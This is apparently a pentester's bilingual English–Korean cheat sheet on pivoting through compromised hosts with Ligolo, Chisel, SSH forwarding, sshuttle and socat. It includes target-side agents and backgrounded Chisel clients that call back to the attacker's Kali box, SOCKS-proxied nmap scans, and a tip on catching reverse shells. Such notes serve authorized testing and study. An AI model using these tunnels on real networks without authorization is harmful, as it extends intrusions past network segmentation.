#1. Ligolo

on Kali:

# Listening
sudo ./proxy -selfcert
 
# After Session Connected
session 
1 (enter appropriate session number)
autoroute
 
# manual add
session 
1 (enter appropriate session number)
start --tun ligolo1
sudo ip route add 10.10.10.0/24 dev ligolo1
sudo ip route add 240.0.0.1/32 dev ligolo1

on Agent Host(Target Host):

# Linux
./agent -connect 10.10.10.10:11601 -ignore-cert
 
# Windows
.\agent.exe -connect 10.10.10.10:11601 -ignore-cert

Listener_add:

# on Kali Ligolo Proxy Session
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601
  • Packets coming to the Agent Host’s port 4444 will be sent to Kali

Access to agent host’s Local Port:

sudo ip route add 240.0.0.1/32 dev ligolo1
curl 240.0.0.1:8080

Double pivoting

# add listener to agent host
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601
 
# access internal host
.\agent.exe -connect $1st_agent_ip:11601 -ignore-cert
 
# ligolo proxy
select new session and setup the tunnel

#2. Chisel

on Kali:

./chisel server --port 443 --reverse

Setup Dynamic Port Forwading on Target (need proxychains to use it):

./chisel client 10.10.10.10:443 R:socks > /dev/null 2>&1 &

Setup 1:1 Port Forwarding on Target:

./chisel client 10.10.10.10:443 R:8080:127.0.0.1:8080 R:8081:127.0.0.1:8081 > /dev/null 2>&1 &
  • Packets coming to the Kali’s port 8080,8081 will be sent to Target’s Local 8080,8081 via Kali’s Port 443

#3. SSH

옵션리스너dst전달트래픽 흐름주의사항
-L bind:port:dst:dst_port클라이언트서버클라 → 서버bind생략 시 127.0.0.1
-R bind:port:dst:dst_port서버클라이언트서버 → 클라bind생략 시 127.0.0.1
ssh서버 호스트 컨픽,/etc/ssh/sshd_config가 GatewatPorts no로 설정된 경우, 0.0.0.0 바인딩 불가
-D port클라이언트(SOCKS5)서버클라 → 서버SOCKS over TCP이므로, UDP 포트포워딩 불가.
nmap에 -sT -Pn 명시
  • -f: 백그라운드로 실행
  • -N: ssh 쉘 없이 터널만 유지
  • -D: Dynamic 포트포워딩
    • 클라이언트에 SOCKS 프록시 리스너를 열고 proxychains로 사용
    • TCP 전용(UDP·ICMP 불가) → nmap은 -sT -Pn 필요
    • sudo proxychains4 nmap $IP -sT -Pn
  • -L: 1:1매핑 포트포워딩
    • 클라이언트 바인드 포트에 리스너를 열고, 해당 포트로 들어오는 연결을 서버가 dst로 포워딩. (트래픽 흐름: 클라 → 서버)
    • dst 주소는 ‘서버 시점’에서 해석됨 (127.0.0.1 = 서버 자신)
    • 주로 internal 서비스를 Kali에서 접근하고 싶을때 사용(ex, kali → 대상 internal DB 접속)
  • -R: Remote 포트포워딩
    • 서버 바인드 포트에 리스너를 열고, 해당 포트로 들어오는 연결을 클라이언트가 dst로 포워딩. (트래픽 흐름: 서버 → 클라)
    • dst 주소는 ‘클라이언트 시점’에서 해석됨 (localhost = Kali)
    • 주로 Kali의 서비스를 대상 internal 호스트에서 접근하고 싶을 때 사용(ex, internal host → kali 리버스쉘 받기)

on Kali:

# 공통
ssh user@$Server -L/R [bind]:[port]:[dst]:[dst_port]
 
# 1:1 매핑
ssh user@$Server -L 0.0.0.0:PORT1:$TARGET_IP:PORT2
=> $Host:PORT1 -> $Server_Host -> $TARGET:PORT2
 
ssh admin@10.10.10.10 -f -N -L 4455:172.16.1.10:445 
=> Kali 4455 -> 10.10.10.10호스트 -> 172.16.1.10:445
 
# Dynamic (socks proxychains4)
ssh user@$Server -D 0.0.0.0:PORT1:$TARGET_IP:PORT2
=> $Host:PORT1 -> $Server_Host -> $TARGET_Host
 
ssh admin@10.10.10.10 -N -D 1080
	=> Kali 1080 -> 10.10.10.10호스트 -> Anywhere
	=> proxychains4 ping 172.16.1.10
	=> sudo proxychains4 nmap 172.16.1.10 -sT
 
# Remote
ssh user@$Server -R 0.0.0.0:PORT1:$TARGET_IP:PORT2

이스케이프 시퀀스 설정 (Escape sequance):

vi ~/.ssh/config
Host *
    EnableEscapeCommandline yes
chmod 600 ~/.ssh/config

이스케이프 시퀀스 옵션: ~.: SSH 연결 종료 (멈춘 세션 탈출) ~?: Help ~C: 커맨드모드 진입(SSH 포트포워딩 등)

이스케이프 시퀀스 포트포워딩:

# Commandline 전환
Enter
~C
 
# 프롬프트 변경 확인 "ssh>"
ssh> 
ssh> -D 1080
ssh> -L PORT1:$TARGET_IP:PORT2
=> 이후 Ctrl C로 커맨드라인 종료해도, 포트포워딩은 유지됨
 
# 포트포워딩 해제
ssh> -KD 1080 # Dynamic 포워딩 해제
ssh> -KL 클라이언트_리스닝_포트번호 # 로컬 포트포워딩 해제
ssh> -KR 서버_리스닝_포트번호 # 원격 포트포워딩 해제

#4. sshuttle

  • 대상에 ssh, python 필요

Command:

sshuttle -r $USER@$IP $IP_Range1 $IP_Range2.. --dns
sshuttle -r $USER@$IP 10.10.10.0/24 172.16.50.0/24 --dns
=> 10.10.10.0/24 및 172.16.50.0/24는 대상 호스트를 타고 나가도록 포워딩 설정됨.

#5. socat

  • socat은 기존의 포트포워딩 툴과는 결이 조금 다른, 패킷을 relay하는데 사용되는 linux binary
# 피벗 호스트에서: 피벗의 8080으로 온 걸 내부 DB로 릴레이
socat TCP-LISTEN:8080,fork,reuseaddr TCP:10.4.50.215:5432
=> Kali → 피벗:8080 → 내부DB:5432